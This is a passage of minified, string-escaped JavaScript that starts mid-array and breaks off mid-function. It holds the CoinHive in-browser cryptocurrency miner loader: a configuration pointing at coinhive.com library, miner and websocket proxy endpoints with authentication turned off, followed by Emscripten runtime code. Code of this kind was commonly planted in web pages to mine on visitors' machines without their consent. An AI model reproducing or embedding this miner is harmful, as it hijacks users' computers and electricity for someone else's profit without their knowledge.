49,57,23,3,108,50,48,24,3,108,50,49,25,3,108,50,50,26,3,108,50,51,27,3,108,50,52,28,3,108,50,53,29,3,108,50,54,14,7,0,2,112,48,1,2,112,49,2,2,112,50,3,2,108,48,4,2,108,49,5,2,108,50,6,2,108,51,15,3,0,2,112,48,1,2,108,48,2,2,108,49,16,13,0,2,112,48,1,2,108,48,2,2,108,49,3,2,108,50,4,2,108,51,5,2,108,52,6,2,108,53,7,2,108,54,8,2,108,55,9,2,108,56,10,2,108,57,11,3,108,49,48,12,3,108,49,49,17,8,0,2,112,48,1,2,112,49,2,2,112,50,3,2,108,48,4,2,108,49,5,2,108,50,6,2,108,51,7,2,108,52,18,7,0,2,112,48,1,2,112,49,2,2,112,50,3,2,108,48,4,2,108,49,5,2,108,50,6,2,108,51,19,3,0,2,112,48,1,2,112,49,2,2,112,50,20,17,0,2,112,48,1,2,112,49,2,2,108,48,3,2,108,49,4,2,108,50,5,2,108,51,6,2,108,52,7,2,108,53,8,2,108,54,9,2,108,55,10,2,108,56,11,2,108,57,12,3,108,49,48,13,3,108,49,49,14,3,108,49,50,15,3,108,49,51,16,3,108,49,52,21,55,0,2,112,48,1,2,108,48,2,2,108,49,3,2,108,50,4,2,108,51,5,2,108,52,6,2,108,53,7,2,108,54,8,2,108,55,9,2,108,56,10,2,108,57,11,3,108,49,48,12,3,108,49,49,13,3,108,49,50,14,3,108,49,51,15,3,108,49,52,16,3,108,49,53,17,3,108,49,54,18,3,108,49,55,19,3,108,49,56,20,3,108,49,57,21,3,108,50,48,22,3,108,50,49,23,3,108,50,50,24,3,108,50,51,25,3,108,50,52,26,3,108,50,53,27,3,108,50,54,28,3,108,50,55,29,3,108,50,56,30,3,108,50,57,31,3,108,51,48,32,3,108,51,49,33,3,108,51,50,34,3,108,51,51,35,3,108,51,52,36,3,108,51,53,37,3,108,51,54,38,3,108,51,55,39,3,108,51,56,40,3,108,51,57,41,3,108,52,48,42,3,108,52,49,43,3,108,52,50,44,3,108,52,51,45,3,108,52,52,46,3,108,52,53,47,3,108,52,54,48,3,108,52,55,49,3,108,52,56,50,3,108,52,57,51,3,108,53,48,52,3,108,53,49,53,3,108,53,50,54,3,108,53,51,22,65,0,2,112,48,1,2,108,48,2,2,108,49,3,2,108,50,4,2,108,51,5,2,108,52,6,2,108,53,7,2,108,54,8,2,108,55,9,2,108,56,10,2,108,57,11,3,108,49,48,12,3,108,49,49,13,3,108,49,50,14,3,108,49,51,15,3,108,49,52,16,3,108,49,53,17,3,108,49,54,18,3,108,49,55,19,3,108,49,56,20,3,108,49,57,21,3,108,50,48,22,3,108,50,49,23,3,108,50,50,24,3,108,50,51,25,3,108,50,52,26,3,108,50,53,27,3,108,50,54,28,3,108,50,55,29,3,108,50,56,30,3,108,50,57,31,3,108,51,48,32,3,108,51,49,33,3,108,51,50,34,3,108,51,51,35,3,108,51,52,36,3,108,51,53,37,3,108,51,54,38,3,108,51,55,39,3,108,51,56,40,3,108,51,57,41,3,108,52,48,42,3,108,52,49,43,3,108,52,50,44,3,108,52,51,45,3,108,52,52,46,3,108,52,53,47,3,108,52,54,48,3,108,52,55,49,3,108,52,56,50,3,108,52,57,51,3,108,53,48,52,3,108,53,49,53,3,108,53,50,54,3,108,53,51,55,3,108,53,52,56,3,108,53,53,57,3,108,53,54,58,3,108,53,55,59,3,108,53,56,60,3,108,53,57,61,3,108,54,48,62,3,108,54,49,63,3,108,54,50,64,3,108,54,51,23,55,0,2,112,48,1,2,112,49,2,2,112,50,3,2,112,51,4,2,108,48,5,2,108,49,6,2,108,50,7,2,108,51,8,2,108,52,9,2,108,53,10,2,108,54,11,2,108,55,12,2,108,56,13,2,108,57,14,3,108,49,48,15,3,108,49,49,16,3,108,49,50,17,3,108,49,51,18,3,108,49,52,19,3,108,49,53,20,3,108,49,54,21,3,108,49,55,22,3,108,49,56,23,3,108,49,57,24,3,108,50,48,25,3,108,50,49,26,3,108,50,50,27,3,108,50,51,28,3,108,50,52,29,3,108,50,53,30,3,108,50,54,31,3,108,50,55,32,3,108,50,56,33,3,108,50,57,34,3,108,51,48,35,3,108,51,49,36,3,108,51,50,37,3,108,51,51,38,3,108,51,52,39,3,108,51,53,40,3,108,51,54,41,3,108,51,55,42,3,108,51,56,43,3,108,51,57,44,3,108,52,48,45,3,108,52,49,46,3,108,52,50,47,3,108,52,51,48,3,108,52,52,49,3,108,52,53,50,3,108,52,54,51,3,108,52,55,52,3,108,52,56,53,3,108,52,57,54,3,108,53,48,24,70,0,2,112,48,1,2,112,49,2,2,112,50,3,2,108,48,4,2,108,49,5,2,108,50,6,2,108,51,7,2,108,52,8,2,108,53,9,2,108,54,10,2,108,55,11,2,108,56,12,2,108,57,13,3,108,49,48,14,3,108,49,49,15,3,108,49,50,16,3,108,49,51,17,3,108,49,52,18,3,108,49,53,19,3,108,49,54,20,3,108,49,55,21,3,108,49,56,22,3,108,49,57,23,3,108,50,48,24,3,108,50,49,25,3,108,50,50,26,3,108,50,51,27,3,108,50,52,28,3,108,50,53,29,3,108,50,54,30,3,108,50,55,31,3,108,50,56,32,3,108,50,57,33,3,108,51,48,34,3,108,51,49,35,3,108,51,50,36,3,108,51,51,37,3,108,51,52,38,3,108,51,53,39,3,108,51,54,40,3,108,51,55,41,3,108,51,56,42,3,108,51,57,43,3,108,52,48,44,3,108,52,49,45,3,108,52,50,46,3,108,52,51,47,3,108,52,52,48,3,108,52,53,49,3,108,52,54,50,3,108,52,55,51,3,108,52,56,52,3,108,52,57,53,3,108,53,48,54,3,108,53,49,55,3,108,53,50,56,3,108,53,51,57,3,108,53,52,58,3,108,53,53,59,3,108,53,54,60,3,108,53,55,61,3,108,53,56,62,3,108,53,57,63,3,108,54,48,64,3,108,54,49,65,3,108,54,50,66,3,108,54,51,67,3,108,54,52,68,3,108,54,53,69,3,108,54,54,25,36,0,2,112,48,1,2,112,49,2,2,112,50,3,2,112,51,4,2,108,48,5,2,108,49,6,2,108,50,7,2,108,51,8,2,108,52,9,2,108,53,10,2,108,54,11,2,108,55,12,2,108,56,13,2,108,57,14,3,108,49,48,15,3,108,49,49,16,3,108,49,50,17,3,108,49,51,18,3,108,49,52,19,3,108,49,53,20,3,108,49,54,21,3,108,49,55,22,3,108,49,56,23,3,108,49,57,24,3,108,50,48,25,3,108,50,49,26,3,108,50,50,27,3,108,50,51,28,3,108,50,52,29,3,108,50,53,30,3,108,50,54,31,3,108,50,55,32,3,108,50,56,33,3,108,50,57,34,3,108,51,48,35,3,108,51,49,26,108,0,2,112,48,1,2,112,49,2,2,112,50,3,2,112,51,4,2,108,48,5,2,108,49,6,2,108,50,7,2,108,51,8,2,108,52,9,2,108,53,10,2,108,54,11,2,108,55,12,2,108,56,13,2,108,57,14,3,108,49,48,15,3,108,49,49,16,3,108,49,50,17,3,108,49,51,18,3,108,49,52,19,3,108,49,53,20,3,108,49,54,21,3,108,49,55,22,3,108,49,56,23,3,108,49,57,24,3,108,50,48,25,3,108,50,49,26,3,108,50,50,27,3,108,50,51,28,3,108,50,52,29,3,108,50,53,30,3,108,50,54,31,3,108,50,55,32,3,108,50,56,33,3,108,50,57,34,3,108,51,48,35,3,108,51,49,36,3,108,51,50,37,3,108,51,51,38,3,108,51,52,39,3,108,51,53,40,3,108,51,54,41,3,108,51,55,42,3,108,51,56,43,3,108,51,57,44,3,108,52,48,45,3,108,52,49,46,3,108,52,50,47,3,108,52,51,48,3,108,52,52,49,3,108,52,53,50,3,108,52,54,51,3,108,52,55,52,3,108,52,56,53,3,108,52,57,54,3,108,53,48,55,3,108,53,49,56,3,108,53,50,57,3,108,53,51,58,3,108,53,52,59,3,108,53,53,60,3,108,53,54,61,3,108,53,55,62,3,108,53,56,63,3,108,53,57,64,3,108,54,48,65,3,108,54,49,66,3,108,54,50,67,3,108,54,51,68,3,108,54,52,69,3,108,54,53,70,3,108,54,54,71,3,108,54,55,72,3,108,54,56,73,3,108,54,57,74,3,108,55,48,75,3,108,55,49,76,3,108,55,50,77,3,108,55,51,78,3,108,55,52,79,3,108,55,53,80,3,108,55,54,81,3,108,55,55,82,3,108,55,56,83,3,108,55,57,84,3,108,56,48,85,3,108,56,49,86,3,108,56,50,87,3,108,56,51,88,3,108,56,52,89,3,108,56,53,90,3,108,56,54,91,3,108,56,55,92,3,108,56,56,93,3,108,56,57,94,3,108,57,48,95,3,108,57,49,96,3,108,57,50,97,3,108,57,51,98,3,108,57,52,99,3,108,57,53,100,3,108,57,54,101,3,108,57,55,102,3,108,57,56,103,3,108,57,57,104,4,108,49,48,48,105,4,108,49,48,49,106,4,108,49,48,50,107,4,108,49,48,51,27,36,0,2,112,48,1,2,112,49,2,2,108,48,3,2,108,49,4,2,108,50,5,2,108,51,6,2,108,52,7,2,108,53,8,2,108,54,9,2,108,55,10,2,108,56,11,2,108,57,12,3,108,49,48,13,3,108,49,49,14,3,108,49,50,15,3,108,49,51,16,3,108,49,52,17,3,108,49,53,18,3,108,49,54,19,3,108,49,55,20,3,108,49,56,21,3,108,49,57,22,3,108,50,48,23,3,108,50,49,24,3,108,50,50,25,3,108,50,51,26,3,108,50,52,27,3,108,50,53,28,3,108,50,54,29,3,108,50,55,30,3,108,50,56,31,3,108,50,57,32,3,108,51,48,33,3,108,51,49,34,3,108,51,50,35,3,108,51,51,28,5,0,2,112,48,1,2,108,48,2,2,108,49,3,2,108,50,4,2,108,51,29,15,0,2,108,48,1,2,108,49,2,2,108,50,3,2,108,51,4,2,108,52,5,2,108,53,6,2,108,54,7,2,108,55,8,2,108,56,9,2,108,57,10,3,108,49,48,11,3,108,49,49,12,3,108,49,50,13,3,108,49,51,14,3,108,49,52,30,12,0,2,112,48,1,2,112,49,2,2,112,50,3,2,108,48,4,2,108,49,5,2,108,50,6,2,108,51,7,2,108,52,8,2,108,53,9,2,108,54,10,2,108,55,11,2,108,56,31,4,0,2,112,48,1,2,112,49,2,2,112,50,3,2,108,48,32,14,0,2,112,48,1,2,112,49,2,2,112,50,3,2,108,48,4,2,108,49,5,2,108,50,6,2,108,51,7,2,108,52,8,2,108,53,9,2,108,54,10,2,108,55,11,2,108,56,12,2,108,57,13,3,108,49,48,33,9,0,2,112,48,1,2,112,49,2,2,112,50,3,2,108,48,4,2,108,49,5,2,108,50,6,2,108,51,7,2,108,52,8,2,108,53,34,17,0,2,112,48,1,2,112,49,2,2,112,50,3,2,108,48,4,2,108,49,5,2,108,50,6,2,108,51,7,2,108,52,8,2,108,53,9,2,108,54,10,2,108,55,11,2,108,56,12,2,108,57,13,3,108,49,48,14,3,108,49,49,15,3,108,49,50,16,3,108,49,51,35,31,0,2,112,48,1,2,112,49,2,2,112,50,3,2,112,51,4,2,108,48,5,2,108,49,6,2,108,50,7,2,108,51,8,2,108,52,9,2,108,53,10,2,108,54,11,2,108,55,12,2,108,56,13,2,108,57,14,3,108,49,48,15,3,108,49,49,16,3,108,49,50,17,3,108,49,51,18,3,108,49,52,19,3,108,49,53,20,3,108,49,54,21,3,108,49,55,22,3,108,49,56,23,3,108,49,57,24,3,108,50,48,25,3,108,50,49,26,3,108,50,50,27,3,108,50,51,28,3,108,50,52,29,3,108,50,53,30,3,108,50,54,36,30,0,2,112,48,1,2,112,49,2,2,112,50,3,2,112,51,4,2,108,48,5,2,108,49,6,2,108,50,7,2,108,51,8,2,108,52,9,2,108,53,10,2,108,54,11,2,108,55,12,2,108,56,13,2,108,57,14,3,108,49,48,15,3,108,49,49,16,3,108,49,50,17,3,108,49,51,18,3,108,49,52,19,3,108,49,53,20,3,108,49,54,21,3,108,49,55,22,3,108,49,56,23,3,108,49,57,24,3,108,50,48,25,3,108,50,49,26,3,108,50,50,27,3,108,50,51,28,3,108,50,52,29,3,108,50,53,37,2,0,2,112,48,1,2,108,48] ; var Module=typeof Module!==\"undefined\"?Module:{};self.CoinHive=self.CoinHive||{};self.CoinHive.CONFIG={LIB_URL:\"https:\/\/coinhive.com\/lib\/\",ASMJS_NAME:\"worker-asmjs.min.js?v7\",REQUIRES_AUTH:false,WEBSOCKET_SHARDS:[[\"wss:\/\/ws001.coinhive.com\/proxy\",\"wss:\/\/ws002.coinhive.com\/proxy\",\"wss:\/\/ws003.coinhive.com\/proxy\",\"wss:\/\/ws004.coinhive.com\/proxy\",\"wss:\/\/ws005.coinhive.com\/proxy\",\"wss:\/\/ws006.coinhive.com\/proxy\",\"wss:\/\/ws007.coinhive.com\/proxy\",\"wss:\/\/ws008.coinhive.com\/proxy\"],[\"wss:\/\/ws009.coinhive.com\/proxy\",\"wss:\/\/ws010.coinhive.com\/proxy\",\"wss:\/\/ws011.coinhive.com\/proxy\",\"wss:\/\/ws012.coinhive.com\/proxy\",\"wss:\/\/ws013.coinhive.com\/proxy\",\"wss:\/\/ws014.coinhive.com\/proxy\",\"wss:\/\/ws015.coinhive.com\/proxy\",\"wss:\/\/ws016.coinhive.com\/proxy\"],[\"wss:\/\/ws017.coinhive.com\/proxy\",\"wss:\/\/ws018.coinhive.com\/proxy\",\"wss:\/\/ws019.coinhive.com\/proxy\",\"wss:\/\/ws020.coinhive.com\/proxy\",\"wss:\/\/ws021.coinhive.com\/proxy\",\"wss:\/\/ws022.coinhive.com\/proxy\",\"wss:\/\/ws023.coinhive.com\/proxy\",\"wss:\/\/ws024.coinhive.com\/proxy\"],[\"wss:\/\/ws025.coinhive.com\/proxy\",\"wss:\/\/ws026.coinhive.com\/proxy\",\"wss:\/\/ws027.coinhive.com\/proxy\",\"wss:\/\/ws028.coinhive.com\/proxy\",\"wss:\/\/ws029.coinhive.com\/proxy\",\"wss:\/\/ws030.coinhive.com\/proxy\",\"wss:\/\/ws031.coinhive.com\/proxy\",\"wss:\/\/ws032.coinhive.com\/proxy\"]],CAPTCHA_URL:\"https:\/\/coinhive.com\/captcha\/\",MINER_URL:\"https:\/\/coinhive.com\/media\/miner.html\",AUTH_URL:\"https:\/\/authedmine.com\/authenticate.html\"};var Module={locateFile:(function(path){return CoinHive.CONFIG.LIB_URL+path}),wasmBinary:self.WASM_BINARY_INLINE||undefined};var moduleOverrides={};var key;for(key in Module){if(Module.hasOwnProperty(key)){moduleOverrides[key]=Module[key]}}Module[\"arguments\"]=[];Module[\"thisProgram\"]=\".\/this.program\";Module[\"quit\"]=(function(status,toThrow){throw toThrow});Module[\"preRun\"]=[];Module[\"postRun\"]=[];var ENVIRONMENT_IS_WEB=false;var ENVIRONMENT_IS_WORKER=false;var ENVIRONMENT_IS_NODE=false;var ENVIRONMENT_IS_SHELL=false;if(Module[\"ENVIRONMENT\"]){if(Module[\"ENVIRONMENT\"]===\"WEB\"){ENVIRONMENT_IS_WEB=true}else if(Module[\"ENVIRONMENT\"]===\"WORKER\"){ENVIRONMENT_IS_WORKER=true}else if(Module[\"ENVIRONMENT\"]===\"NODE\"){ENVIRONMENT_IS_NODE=true}else if(Module[\"ENVIRONMENT\"]===\"SHELL\"){ENVIRONMENT_IS_SHELL=true}else{throw new Error(\"Module['ENVIRONMENT'] value is not valid. must be one of: WEB|WORKER|NODE|SHELL.\")}}else{ENVIRONMENT_IS_WEB=typeof window===\"object\";ENVIRONMENT_IS_WORKER=typeof importScripts===\"function\";ENVIRONMENT_IS_NODE=typeof process===\"object\"&&typeof require===\"function\"&&!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_WORKER;ENVIRONMENT_IS_SHELL=!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_NODE&&!ENVIRONMENT_IS_WORKER}if(ENVIRONMENT_IS_NODE){var nodeFS;var nodePath;Module[\"read\"]=function shell_read(filename,binary){var ret;if(!nodeFS)nodeFS=require(\"fs\");if(!nodePath)nodePath=require(\"path\");filename=nodePath[\"normalize\"](filename);ret=nodeFS[\"readFileSync\"](filename);return binary?ret:ret.toString()};Module[\"readBinary\"]=function readBinary(filename){var ret=Module[\"read\"](filename,true);if(!ret.buffer){ret=new Uint8Array(ret)}assert(ret.buffer);return ret};if(process[\"argv\"].length>1){Module[\"thisProgram\"]=process[\"argv\"][1].replace(\/\\\\\/g,\"\/\")}Module[\"arguments\"]=process[\"argv\"].slice(2);if(typeof module!==\"undefined\"){module[\"exports\"]=Module}process[\"on\"](\"uncaughtException\",(function(ex){if(!(ex instanceof ExitStatus)){throw ex}}));process[\"on\"](\"unhandledRejection\",(function(reason,p){process[\"exit\"](1)}));Module[\"inspect\"]=(function(){return\"[Emscripten Module object]\"})}else if(ENVIRONMENT_IS_SHELL){if(typeof read!=\"undefined\"){Module[\"read\"]=function shell_read(f){return read(f)}}Module[\"readBinary\"]=function readBinary(f){var data;if(typeof readbuffer===\"function\"){return new Uint8Array(readbuffer(f))}data=read(f,\"binary\");assert(typeof data===\"object\");return data};if(typeof scriptArgs!=\"undefined\"){Module[\"arguments\"]=scriptArgs}else if(typeof arguments!=\"undefined\"){Module[\"arguments\"]=arguments}if(typeof quit===\"function\"){Module[\"quit\"]=(function(status,toThrow){quit(status)})}}else if(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER){Module[\"read\"]=function shell_read(url){var xhr=new XMLHttpRequest;xhr.open(\"GET\",url,false);xhr.send(null);return xhr.responseText};if(ENVIRONMENT_IS_WORKER){Module[\"readBinary\"]=function readBinary(url){var xhr=new XMLHttpRequest;xhr.open(\"GET\",url,false);xhr.responseType=\"arraybuffer\";xhr.send(null);return new Uint8Array(xhr.response)}}Module[\"readAsync\"]=function readAsync(url,onload,onerror){var xhr=new XMLHttpRequest;xhr.open(\"GET\",url,true);xhr.responseType=\"arraybuffer\";xhr.onload=function xhr_onload(){if(xhr.status==200||xhr.status==0&&xhr.response){onload(xhr.response);return}onerror()};xhr.onerror=onerror;xhr.send(null)};if(typeof arguments!=\"undefined\"){Module[\"arguments\"]=arguments}Module[\"setWindowTitle\"]=(function(title){document.title=title})}Module[\"print\"]=typeof console!==\"undefined\"?console.log.bind(console):typeof print!==\"undefined\"?print:null;Module[\"printErr\"]=typeof printErr!==\"undefined\"?printErr:typeof console!==\"undefined\"&&console.warn.bind(console)||Module[\"print\"];Module.print=Module[\"print\"];Module.printErr=Module[\"printErr\"];for(key in moduleOverrides){if(moduleOverrides.hasOwnProperty(key)){Module[key]=moduleOverrides[key]}}moduleOverrides=undefined;var STACK_ALIGN=16;function staticAlloc(size){assert(!staticSealed);var ret=STATICTOP;STATICTOP=STATICTOP+size+15&-16;return ret}function dynamicAlloc(size){assert(DYNAMICTOP_PTR);var ret=HEAP32[DYNAMICTOP_PTR>>2];var end=ret+size+15&-16;HEAP32[DYNAMICTOP_PTR>>2]=end;if(end>=TOTAL_MEMORY){var success=enlargeMemory();if(!success){HEAP32[DYNAMICTOP_PTR>>2]=ret;return 0}}return ret}function alignMemory(size,factor){if(!factor)factor=STACK_ALIGN;var ret=size=Math.ceil(size\/factor)*factor;return ret}function getNativeTypeSize(type){switch(type){case\"i1\":case\"i8\":return 1;case\"i16\":return 2;case\"i32\":return 4;case\"i64\":return 8;case\"float\":return 4;case\"double\":return 8;default:{if(type[type.length-1]===\"*\"){return 4}else if(type[0]===\"i\"){var bits=parseInt(type.substr(1));assert(bits%8===0);return bits\/8}else{return 0}}}}var functionPointers=new Array(0);var GLOBAL_BASE=1024;var ABORT=0;var EXITSTATUS=0;function assert(condition,text){if(!condition){abort(\"Assertion failed: \"+text)}}function setValue(ptr,value,type,noSafe){type=type||\"i8\";if(type.charAt(type.length-1)===\"*\")type=\"i32\";switch(type){case\"i1\":HEAP8[ptr>>0]=value;break;case\"i8\":HEAP8[ptr>>0]=value;break;case\"i16\":HEAP16[ptr>>1]=value;break;case\"i32\":HEAP32[ptr>>2]=value;break;case\"i64\":tempI64=[value>>>0,(tempDouble=value,+Math_abs(tempDouble)>=1?tempDouble>0?(Math_min(+Math_floor(tempDouble\/4294967296),4294967295)|0)>>>0:~~+Math_ceil((tempDouble- +(~~tempDouble>>>0))\/4294967296)>>>0:0)],HEAP32[ptr>>2]=tempI64[0],HEAP32[ptr+4>>2]=tempI64[1];break;case\"float\":HEAPF32[ptr>>2]=value;break;case\"double\":HEAPF64[ptr>>3]=value;break;default:abort(\"invalid type for setValue: \"+type)}}var ALLOC_STATIC=2;var ALLOC_NONE=4;function allocate(slab,types,allocator,ptr){var zeroinit,size;if(typeof slab===\"number\"){zeroinit=true;size=slab}else{zeroinit=false;size=slab.length}var singleType=typeof types===\"string\"?types:null;var ret;if(allocator==ALLOC_NONE){ret=ptr}else{ret=[typeof _malloc===\"function\"?_malloc:staticAlloc,stackAlloc,staticAlloc,dynamicAlloc][allocator===undefined?ALLOC_STATIC:allocator](Math.max(size,singleType?1:types.length))}if(zeroinit){var stop;ptr=ret;assert((ret&3)==0);stop=ret+(size&~3);for(;ptr<stop;ptr+=4){HEAP32[ptr>>2]=0}stop=ret+size;while(ptr<stop){HEAP8[ptr++>>0]=0}return ret}if(singleType===\"i8\"){if(slab.subarray||slab.slice){HEAPU8.set(slab,ret)}else{HEAPU8.set(new Uint8Array(slab),ret)}return ret}var i=0,type,typeSize,previousType;while(i<size){var curr=slab[i];type=singleType||types[i];if(type===0){i++;continue}if(type==\"i64\")type=\"i32\";setValue(ret+i,curr,type);if(previousType!==type){typeSize=getNativeTypeSize(type);previousType=type}i+=typeSize}return ret}function Pointer_stringify(ptr,length){if(length===0||!ptr)return\"\";var hasUtf=0;var t;var i=0;while(1){t=HEAPU8[ptr+i>>0];hasUtf|=t;if(t==0&&!length)break;i++;if(length&&i==length)break}if(!length)length=i;var ret=\"\";if(hasUtf<128){var MAX_CHUNK=1024;var curr;while(length>0){curr=String.fromCharCode.apply(String,HEAPU8.subarray(ptr,ptr+Math.min(length,MAX_CHUNK)));ret=ret?ret+curr:curr;ptr+=MAX_CHUNK;length-=MAX_CHUNK}return ret}return UTF8ToString(ptr)}var UTF8Decoder=typeof TextDecoder!==\"undefined\"?new TextDecoder(\"utf8\"):undefined;function UTF8ArrayToString(u8Array,idx){var endPtr=idx;while(u8Array[endPtr])++endPtr;if(endPtr-idx>16&&u8Array.subarray&&UTF8Decoder){return UTF8Decoder.decode(u8Array.subarray(idx,endPtr))}else{var u0,u1,u2,u3,u4,u5;var str=\"\";while(1){u0=u8Array[idx++];if(!u0)return str;if(!(u0&128)){str+=String.fromCharCode(u0);continue}u1=u8Array[idx++]&63;if((u0&224)==192){str+=String.fromCharCode((u0&31)<<6|u1);continue}u2=u8Array[idx++]&63;if((u0&240)==224){u0=(u0&15)<<12|u1<<6|u2}else{u3=u8Array[idx++]&63;if((u0&248)==240){u0=(u0&7)<<18|u1<<12|u2<<6|u3}else{u4=u8Array[idx++]&63;if((u0&252)==248){u0=(u0&3)<<24|u1<<18|u2<<12|u3<<6|u4}else{u5=u8Array[idx++]&63;u0=(u0&1)<<30|u1<<24|u2<<18|u3<<12|u4<<6|u5}}}if(u0<65536){str+=String.fromCharCode(u0)}else{var ch=u0-65536;str+=String.fromCharCode(55296|ch>>10,56320|ch&1023)}}}}function UTF8ToString(ptr){return UTF8ArrayToString(HEAPU8,ptr)}function stringToUTF8Array(str,outU8Array,outIdx,maxBytesToWrite){if(!(maxBytesToWrite>0))return 0;var startIdx=outIdx;var endIdx=outIdx+maxBytesToWrite-1;for(var i=0;i<str.length;++i){var u=str.charCodeAt(i);if(u>=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){if(outIdx>=endIdx)break;outU8Array[outIdx++]=u}else if(u<=2047){if(outIdx+1>=endIdx)break;outU8Array[outIdx++]=192|u>>6;outU8Array[outIdx++]=128|u&63}else if(u<=65535){if(outIdx+2>=endIdx)break;outU8Array[outIdx++]=224|u>>12;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=2097151){if(outIdx+3>=endIdx)break;outU8Array[outIdx++]=240|u>>18;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=67108863){if(outIdx+4>=endIdx)break;outU8Array[outIdx++]=248|u>>24;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else{if(outIdx+5>=endIdx)break;outU8Array[outIdx++]=252|u>>30;outU8Array[outIdx++]=128|u>>24&63;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}}outU8Array[outIdx]=0;return outIdx-startIdx}function lengthBytesUTF8(str){var len=0;for(var i=0;i<str.length;++i){var u=str.charCodeAt(i);if(u>=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){++len}else if(u<=2047){len+=2}else if(u<=65535){len+=3}else if(u<=2097151){len+=4}else if(u<=67108863){len+=5}else{len+=6}}return len}var UTF16Decoder=typeof TextDecoder!==\"undefined\"?new TextDecoder(\"utf-16le\"):undefined;var WASM_PAGE_SIZE=65536;var ASMJS_PAGE_SIZE=16777216;function alignUp(x,multiple){if(x%multiple>0){x+=multiple-x%multiple}return x}var buffer,HEAP8,HEAPU8,HEAP16,HEAPU16,HEAP32,HEAPU32,HEAPF32,HEAPF64;function updateGlobalBuffer(buf){Module[\"buffer\"]=buffer=buf}function updateGlobalBufferViews(){Module[\"HEAP8\"]=HEAP8=new Int8Array(buffer);Module[\"HEAP16\"]=HEAP16=new Int16Array(buffer);Module[\"HEAP32\"]=HEAP32=new Int32Array(buffer);Module[\"HEAPU8\"]=HEAPU8=new Uint8Array(buffer);Module[\"HEAPU16\"]=HEAPU16=new Uint16Array(buffer);Module[\"HEAPU32\"]=HEAPU32=new Uint32Array(buffer);Module[\"HEAPF32\"]=HEAPF32=new Float32Array(buffer);Module[\"HEAPF64\"]=HEAPF64=new Float64Array(buffer)}var STATIC_BASE,STATICTOP,staticSealed;var STACK_BASE,STACKTOP,STACK_MAX;var DYNAMIC_BASE,DYNAMICTOP_PTR;STATIC_BASE=STATICTOP=STACK_BASE=STACKTOP=STACK_MAX=DYNAMIC_BASE=DYNAMICTOP_PTR=0;staticSealed=false;function abortOnCannotGrowMemory(){abort(\"Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value \"+TOTAL_MEMORY+\", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 \")}function enlargeMemory(){abortOnCannotGrowMemory()}var TOTAL_STACK=Module[\"TOTAL_STACK\"]||5242880;var TOTAL_MEMORY=Module[\"TOTAL_MEMORY\"]||16777216;if(TOTAL_MEMORY<TOTAL_STACK)Module.printErr(\"TOTAL_MEMORY should be larger than TOTAL_STACK, was \"+TOTAL_MEMORY+\"! (TOTAL_STACK=\"+TOTAL_STACK+\")\");if(Module[\"buffer\"]){buffer=Module[\"buffer\"]}else{if(typeof WebAssembly===\"object\"&&typeof WebAssembly.Memory===\"function\"){Module[\"wasmMemory\"]=new WebAssembly.Memory({\"initial\":TOTAL_MEMORY\/WASM_PAGE_SIZE,\"maximum\":TOTAL_MEMORY\/WASM_PAGE_SIZE});buffer=Module[\"wasmMemory\"].buffer}else{buffer=new ArrayBuffer(TOTAL_MEMORY)}Module[\"buffer\"]=buffer}updateGlobalBufferViews();function getTotalMemory(){return TOTAL_MEMORY}HEAP32[0]=1668509029;HEAP16[1]=25459;if(HEAPU8[2]!==115||HEAPU8[3]!==99)throw\"Runtime error: expected the system to be little-endian!\";function callRuntimeCallbacks(callbacks){while(callbacks.length>0){var callback=callbacks.shift();if(typeof callback==\"function\"){callback();continue}var func=callback.func;if(typeof func===\"number\"){if(callback.arg===undefined){Module[\"dynCall_v\"](func)}else{Module[\"dynCall_vi\"](func,callback.arg)}}else{func(callback.arg===undefined?null:callback.arg)}}}var __ATPRERUN__=[];var __ATINIT__=[];var __ATMAIN__=[];var __ATEXIT__=[];var __ATPOSTRUN__=[];var runtimeInitialized=false;var runtimeExited=false;function preRun(){if(Module[\"preRun\"]){if(typeof Module[\"preRun\"]==\"function\")Module[\"preRun\"]=[Module[\"preRun\"]];while(Module[\"preRun\"].length){addOnPreRun(Module[\"preRun\"].shift())}}callRuntimeCallbacks(__ATPRERUN__)}function ensureInitRuntime(){if(runtimeInitialized)return;runtimeInitialized=true;callRuntimeCallbacks(__ATINIT__)}function preMain(){callRuntimeCallbacks(__ATMAIN__)}function exitRuntime(){callRuntimeCallbacks(__ATEXIT__);runtimeExited=true}function postRun(){if(Module[\"postRun\"]){if(typeof Module[\"postRun\"]==\"function\")Module[\"postRun\"]=[Module[\"postRun\"]];while(Module[\"postRun\"].length){addOnPostRun(Module[\"postRun\"].shift())}}callRuntimeCallbacks(__ATPOSTRUN__)}function addOnPreRun(cb){__ATPRERUN__.unshift(cb)}function addOnPostRun(cb){__ATPOSTRUN__.unshift(cb)}var Math_abs=Math.abs;var Math_cos=Math.cos;var Math_sin=Math.sin;var Math_tan=Math.tan;var Math_acos=Math.acos;var Math_asin=Math.asin;var Math_atan=Math.atan;var Math_atan2=Math.atan2;var Math_exp=Math.exp;var Math_log=Math.log;var Math_sqrt=Math.sqrt;var Math_ceil=Math.ceil;var Math_floor=Math.floor;var Math_pow=Math.pow;var Math_imul=Math.imul;var Math_fround=Math.fround;var Math_round=Math.round;var Math_min=Math.min;var Math_max=Math.max;var Math_clz32=Math.clz32;var Math_trunc=Math.trunc;var runDependencies=0;var runDependencyWatcher=null;var dependenciesFulfilled=null;function addRunDependency(id){runDependencies++;if(Module[\"monitorRunDependencies\"]){Module[\"monitorRunDependencies\"](runDependencies)}}function 